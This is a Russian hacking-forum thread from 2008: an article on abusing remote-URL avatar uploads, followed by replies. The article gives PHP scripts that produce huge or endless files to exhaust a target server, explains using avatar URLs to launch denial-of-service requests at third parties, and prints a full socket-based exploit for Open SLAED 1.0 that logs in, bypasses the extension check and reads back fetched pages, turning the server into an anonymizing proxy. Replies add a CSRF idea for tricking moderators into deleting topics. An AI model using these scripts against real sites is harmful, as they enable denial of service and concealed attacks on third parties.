ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Csrf-уязвимости при загрузке удалённых файлов на сервер.
  #1  
Старый 13.05.2008, 08:26
Аватар для Kuzya
Kuzya
Участник форума
Регистрация: 27.04.2008
Сообщений: 224
Провел на форуме:
140661

Репутация: 313
По умолчанию Csrf-уязвимости при загрузке удалённых файлов на сервер.

В данной статье я хочу поговорить о CSRF-уязвимостях которые могут быть обнаружены в
различных движках при загрузке файлов на сервер не с компьютера пользователя а со стороннего
сайта. Подобных уязвимостей было найдено довольно много в очень популярных скриптах, таких как
WordPress и phpBB, но до сих пор к ним относятся как к чему-то бесполезному. Но во многих движках имеются условия при которых можно пойти намного дальше.
Разберём всё на примере аватаров. На многих движках/сайтах/форумах пользователи могут
загружать свои аватары не только из галереи или своего ПК но и со сторонних сайтов. Для этого
нужно лишь указать адрес нужной картинки. При указании аватара как URL на стороннем сайте может
произойти 2 вещи:
1. В поле аватара запишется что то типа <img src='указанный_путь'>.
2. Сервер пройдёт по указанному URL и загрузит нужное изображение, сохранив его у себя.
Рассмотрим несколько вариаций атак которые можно произвести с помощью таких функций.

DOS-атака на сторонний сайт.
При обоих вариантах, если отсутствует должная фильтрация передаваемых пользователями URL,
злоумышленник может вызывать произвольные GET-запросы на сторонние сайты. С помощью этого
он может использовать уязвимый сайт как площадку для DOS-атак на какой-либо сервер страдающий
SQL-injection вызываемой GET-методом(DOS через BENCHMARK). В первом случае как атакующие
будут выступать пользователи просмотревшие страничку с этим аватаром, во втором — сервер, ведь
он будет вызывать необходимые действия при попытке загрузки картинки с указанного URL.
Естественно вариант со вписыванием URL в тег <img> намного продуктивнее. Самое интересное
здесь то что и в первом и во втором случаях на атакованном сервере будет записан IP не взломщика а либо пользователей, либо сервера.

DDOS Self
Такой вариант атак возможен только если скрипт загрузки файлов не проверяет их размер. Даже если скрипт после загрузки обнаружит что это не изображение и удалит файл то атака всё равно состоится. Суть здесь в том что бы заставить сервер загрузить к себе файл огромных размеров. Этот файл может быть чем угодно, главное что бы он занимал как можно больше места — хоть 1 Тб (хотя чаше всего достаточно лимита памяти выделяемого для PHP, это ~25-30мб). Для генерации таких файлов не нужно ничего выдумывать или копипастом выстраивать их в блокноте =) Можно просто использовать следующий скрипт на PHP:

Код:
<?php
ini_set("max_execution_time",0);
$size = 100000000;// Размер в байтах
$content = "";
for($i = 0; $i < $size; $i++)
{
$content .= "A";
}
$f = fopen('file.jpg','w');
fwrite($f,$content);
fclose($f);
?>
Если же вдруг Вам понадобиться отправить в отказ сервер, размер винчестера у которого больше
вашего, то можете запрашивать не уже готовый файл а вызвать запрос к скрипту который будет
бесконечно генерировать эти символы. Таким образом вы сразу убьёте двух зайцев — в пакете ответа от сервера не будет содержаться размер файла и для генерации даже гигабайтных файлов можно будет использовать не очень мощный компьютер потому что соединение будет держаться пока либо не оборвётся из-за проблем со связью, либо пока файл не сгенерируется до конца. Вот пример такого скрипта:

Код:
<?php
@ini_set("max_execution_time",0);
header('Content-type: image/jpeg');
$size = 100000000;// Размер в байтах (100mb)
for($i = 0; $i < $size; $i++)
{
print "A";
}
?>
Заголовок здесь устанавливается на тот случай если скрипт сначала произведёт head-запрос и
проверит из его результата тип получаемого файла. Хотя такие проверки я не встречал ни разу.
Больший эффект может доставить несколько сотен таких запросов на получение файлов гигантского
или бесконечного (за место for(...) - while(true) что бы файл генерировался без конца) объёма — это очень сильно забьёт канал, но это уже из раздела мистики =).

Proxy Emitation
Данный вариант атак возможен если сервер не проверяет тип загруженного файла или
проверяет но всё равно оставляет загруженную информацию у себя. При таких атаках нападающий
заставляет сервер загрузить содержимое произвольного URL к себе, а потом просто обращается к
сохранённому документу получая таким образом результат совершённого сервером GET-запроса.
Для лучшего понимания рассмотрим подобную уязвимость в Open SLAED 1.0. Я установил его
на хост «slaed» в денвере. Вам желательно установить его на тот же хост, дабы избежать путаницы.
Зарегистрируем нового пользователя и пройдём в редактирование профиля. В разделе «Настройки
аватара», в поле «Загрузить аватар по ссылке» укажем любой хост (например http://localhost/index.php) и в конце URL сделаем следующую приписку: #image.jpg. Это нужно для обхода фильтрации по расширению.
Теперь жмите на «сохранить изменения» и пройдите в папку [директория_slaed]/uploads/avatars/.
Здесь лежат аватары загруженные пользователям. В этой директории должен появиться новый файл
с произвольно генерированным именем типа «5-15waSfiKQ3.jpg». Если Вы откроете его в текстовом
редакторе то обнаружите внутри html-код страницы которую Вы указали как аватар. Получается что
сервер уже можно использовать как прокси для GET-запросов. Вот и сама суть «Proxy Emitation».
Естественно нам здесь не обойтись без эксплойта т.к. в ручную проделывать подобные
операции не очень хочется. Для начала подумаем что же наш эксплоит должен делать:
1. Авторизироваться на сайте.
2. Обновлять профиль.
3. Читать содержимое получившегося файла.
Всё это писать лучше на PHP и в браузерном варианте потому что полученный html-код нужно будет
отобразить =). Для работы с http мы будем использовать сокеты. Сейчас мы поэтапно реализуем нашу идею. Начнём с авторизации. Для начала нам нужно определить несколько обязательных
переменных. А именно:
1. Хост с установленным slaed
2. Порт
3. Директорию
4. Нужный нам URL на который нужно будет отправить запрос
5. Логин пользователя и пароль
У меня для этих переменных определены следующие значения:

Код:
$host = "slaed";
$port = 80;
$dir = "/";
$need_url = "http://phpBB3/index.php";
$login = "WT";
$password = "exploit";
Теперь реализация авторизации пользователя. Для того что бы войти на сайт модулю account нужно
передать 2 параметра — user_name и user_password POST-методом. В коде это будет выглядеть так:

Код:
$in = ""; # Текст запроса
$out = ""; # Ответ от сервера
$cookies = ""; # Куки
# Определяем длинну передаваемого контента для поля Content-Length
$params = "user_name={$login}&user_password={$password}&op=login";
$content_size = strlen($params);
# POST-запрос на авторизацию
$socket = fsockopen($host,$port);
$in .= "POST {$dir}index.php?name=account HTTP/1.1\r\n";
$in .= "Host: {$host}\r\n";
$in .= "Content-Type: application/x-www-form-urlencoded\r\n";
$in .= "Cookie: lang=russian;\r\n";
$in .= "User-Agent: Exploit for OpenSLAED 1.0 from White-Team\r\n";
$in .= "Content-Length: {$content_size}\r\n";
$in .= "Connection: Close\r\n\r\n";
$in .= $params;
fwrite($socket, $in);
while (!feof($socket)) {
$out .= fgets($socket, 128);
}
fclose($socket);
После выполнения этого кода в переменную $out будет помещён ответ сервера. Единственное что
нам нужно от него — cookies. Для этого можно использовать обычное регулярное выражение:

Код:
$matches = Array();
preg_match_all("#Set-Cookie:(.*?)=(.*?);#s",$out,$matches);
if(!$matches[2][1]) die("Login failed!");
$session = $matches[1][0]."=".$matches[2][0];
$user_data = $matches[1][1]."=".$matches[2][1];
# Помещаем в $cookies полученную информацию
$cookies = $session."; ".$user_data.";";
После работы функции preg_match_all() в ячейке $matches[1][0] будет храниться имя сессии а в
$matches[2][0] — идентификатор. В $matches[1][1] — имя куков пользовательской информации, ну и
в $matches[2]1] — логин, пароль и id пользователя в base64. Эту информацию мы в итоге
объединяем в переменной $cookies и у нас получается готовая строка куков. Теперь мы сможем
включать её в любой запрос и всегда будем авторизированы.
Следующим шагом нам нужно послать запрос на изменение аватара, указав как URL для
загрузки нужный нам источник:

Код:
# Обновляем профиль
# Обнуляем старое содержимое запроса и ответа
$in = "";
$out = "";
$content = "
------------X4B06AurV6QlvznREFWDn2
Content-Disposition: form-data; name=\"userfile\"; filename=\"\"
------------X4B06AurV6QlvznREFWDn2
Content-Disposition: form-data; name=\"sitefile\"
{$need_url}#image.png
------------X4B06AurV6QlvznREFWDn2
Content-Disposition: form-data; name=\"op\"
saveavatar
------------X4B06AurV6QlvznREFWDn2--
";
$content_size = strlen($content);
$socket = fsockopen($host,$port);
$in .= "POST {$dir}index.php?name=account HTTP/1.1\r\n";
$in .= "Host: {$host}\r\n";
$in .= "Content-Type: multipart/form-data; boundary=----------X4B06AurV6QlvznREFWDn2\r\n";
$in .= "User-Agent: Exploit for OpenSLAED 1.0 from White-Team\r\n";
$in .= "Cookie: lang=russian; {$cookies}\r\n";
$in .= "Content-Length: {$content_size}\r\n";
$in .= "Connection: Close\r\n\r\n";
$in .= $content;
fwrite($socket, $in);
while (!feof($socket)) {
$out .= fgets($socket, 128);
} fclose($socket);
Всё, запрос отослан. Сервер прошёл по указанному адресу и сохранил содержимое в отдельном
файле с расширением «.png». Теперь нам нужно лишь получить имя изображения. Для этого мы
просто обратимся к странице редактирования профиля и с помощью регулярного выражения
выдернем из неё то что нам нужно:

Код:
// Смотрим профиль, получаем имя аватара
$in = "";
$out = "";
$socket = fsockopen($host,$port);
$in .= "GET {$dir}index.php?name=account&op=edithome HTTP/1.1\r\n";
$in .= "Host: {$host}\r\n";
$in .= "User-Agent: Exploit for OpenSLAED 1.0 from White-Team\r\n";
$in .= "Cookie: lang=russian; {$cookies}\r\n";
$in .= "Connection: Close\r\n\r\n";
fwrite($socket, $in);
while (!feof($socket)) {
$out .= fgets($socket, 128);
} fclose($socket);
$matches = Array();
preg_match("#<img src=\"uploads/avatars/(.*?)\">#",$out,$matches);
$image = $matches[1];
Теперь в переменной $image лежит имя нового изображения. Всё готово для того что бы обратиться к нему и вывести полученную информацию на экран:

Код:
// Загружаем запрошенный контент
$in = "";
$out = "";
$socket = fsockopen($host,$port);
$in .= "GET {$dir}uploads/avatars/{$image} HTTP/1.1\r\n";
$in .= "Host: {$host}\r\n";
$in .= "User-Agent: Exploit for OpenSLAED 1.0 from White-Team\r\n";
$in .= "Cookie: lang=russian; {$cookies}\r\n";
$in .= "Connection: Close\r\n\r\n";
fwrite($socket, $in);
while (!feof($socket)) {
$out .= fgets($socket, 128);
} fclose($socket);
# Выводим то что запросил пользователь
print $out;
Теперь можно эксплоит протестировать. Обратимся к нему через браузер:



Не идеал конечно, но мы выполнили то что хотели — получили со стороннего сервера информацию
при этом не оставив там свой IP. Если потратить побольше времени то можно дописать эксплоит так что бы он изменял все пути изображений/css-файлов на себя и грузил их, не превращая при этом вид страницы в то что указано выше на скриншоте.

Автор: Kuzya.
(с) White-Team(http://white-team.net), 2008.
 
Ответить с цитированием

  #2  
Старый 13.05.2008, 09:30
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

Цитата:
Proxy Emitation
Автор знает толк в извращениях) Только вот смысла не вижу ни в ддосе (по моральным соображениям), ни в эмуляции прокси (по практическим)
__________________
 
Ответить с цитированием

  #3  
Старый 13.05.2008, 09:55
Аватар для geezer.code
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489

Репутация: 1359


По умолчанию

Цитата:
Сообщение от +toxa+  
Автор знает толк в извращениях) Только вот смысла не вижу ни в ддосе (по моральным соображениям), ни в эмуляции прокси (по практическим)
ну да мы протев ДОСов и протев ДЕФЕЙСОВ (с)NO-FEAR))

а вот насчет прокси ... можно таким образом скомпрометировать сервер. или я ошибаюсь ?
 
Ответить с цитированием

  #4  
Старый 13.05.2008, 10:41
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

Цитата:
Сообщение от geezer.code  
ну да мы протев ДОСов и протев ДЕФЕЙСОВ (с)NO-FEAR))
да даж не в этом дело. ты путаешь личные принципами с принципами ачата
Цитата:
а вот насчет прокси ... можно таким образом скомпрометировать сервер. или я ошибаюсь ?
сервер взломал другой сервер?) терминаторы воюют в интернете?) тут скорее интерес, нежели практическое использование

несколько похожий концепт имхо
http://xss-proxy.sourceforge.net/
__________________

Последний раз редактировалось +toxa+; 13.05.2008 в 10:47..
 
Ответить с цитированием

  #5  
Старый 13.05.2008, 11:48
Аватар для Kuzya
Kuzya
Участник форума
Регистрация: 27.04.2008
Сообщений: 224
Провел на форуме:
140661

Репутация: 313
По умолчанию

Вы правы. Врят-ли кто-то будет применять такое широко на практике. Подобные атаки используются очень редко, и то для точечных нападений. Просто исследовательский интерес.
 
Ответить с цитированием

  #6  
Старый 13.05.2008, 12:06
Аватар для geezer.code
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489

Репутация: 1359


По умолчанию

Цитата:
Сообщение от +toxa+  
несколько похожий концепт имхо
http://xss-proxy.sourceforge.net/
Особенно порадовала презентация ... доступно и по делу.
Концепт может и похожий... а вот реализация совершенно другая.
 
Ответить с цитированием

  #7  
Старый 28.05.2008, 07:49
Аватар для zerling
zerling
Новичок
Регистрация: 04.01.2008
Сообщений: 21
Провел на форуме:
22522

Репутация: 0
По умолчанию

По моему в статье не написано главного - о возможности выполнения ф-ций, доступных привилигерованным пользоватеям. Главное условие - чтобы эти ф-ции в движке вызывалась гет-запросом.
Допустим читает модератор чужую тему, и внизу есть ссылочка "стереть тему" http://forum.com/index.php?post=423434&delete, переходя по ссыле тема сразу стирается. И все, делаем аватар который ссылается на эту ссылу, когда модер прочтет ваш пост с этим аватаром, его браузер автоматически пройдет по ссыле... Правда ситуация вымышленная, и наверно движков где серьезные ф-ции выполняются одним гет-запросом раз-два и опчелся...
 
Ответить с цитированием

  #8  
Старый 28.05.2008, 16:48
Аватар для Kuzya
Kuzya
Участник форума
Регистрация: 27.04.2008
Сообщений: 224
Провел на форуме:
140661

Репутация: 313
По умолчанию

Есть такое. Описано в другой моей статье. Такая бага была обнаружена например в Slaed
 
Ответить с цитированием

  #9  
Старый 18.06.2008, 00:52
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Цитата:
сервер взломал другой сервер?) терминаторы воюют в интернете?) тут скорее интерес, нежели практическое использование
бугога запощу на баш =)
 
Ответить с цитированием

  #10  
Старый 19.06.2008, 14:14
Аватар для devton
devton
Участник форума
Регистрация: 26.10.2007
Сообщений: 283
Провел на форуме:
2605910

Репутация: 212
По умолчанию

Кузе, как всегда, зач0т всесторонний
он написал книжку, в которой собрал кучу простых и понятных вещей, которые реально пригождаются
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Перехват Gsm пакетов SNIFF Сотовый фрикинг 16 27.12.2009 22:25
DataLife Engine v.7.0 Nulled *DeViL* ПО для Web разработчика 3 04.05.2008 14:36
Общие сведения о Ftp уязвимостях. ReVOLVeR Чужие Статьи 5 10.03.2008 21:43
Классификация уязвимостей flintstone Статьи 1 16.01.2008 18:06



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ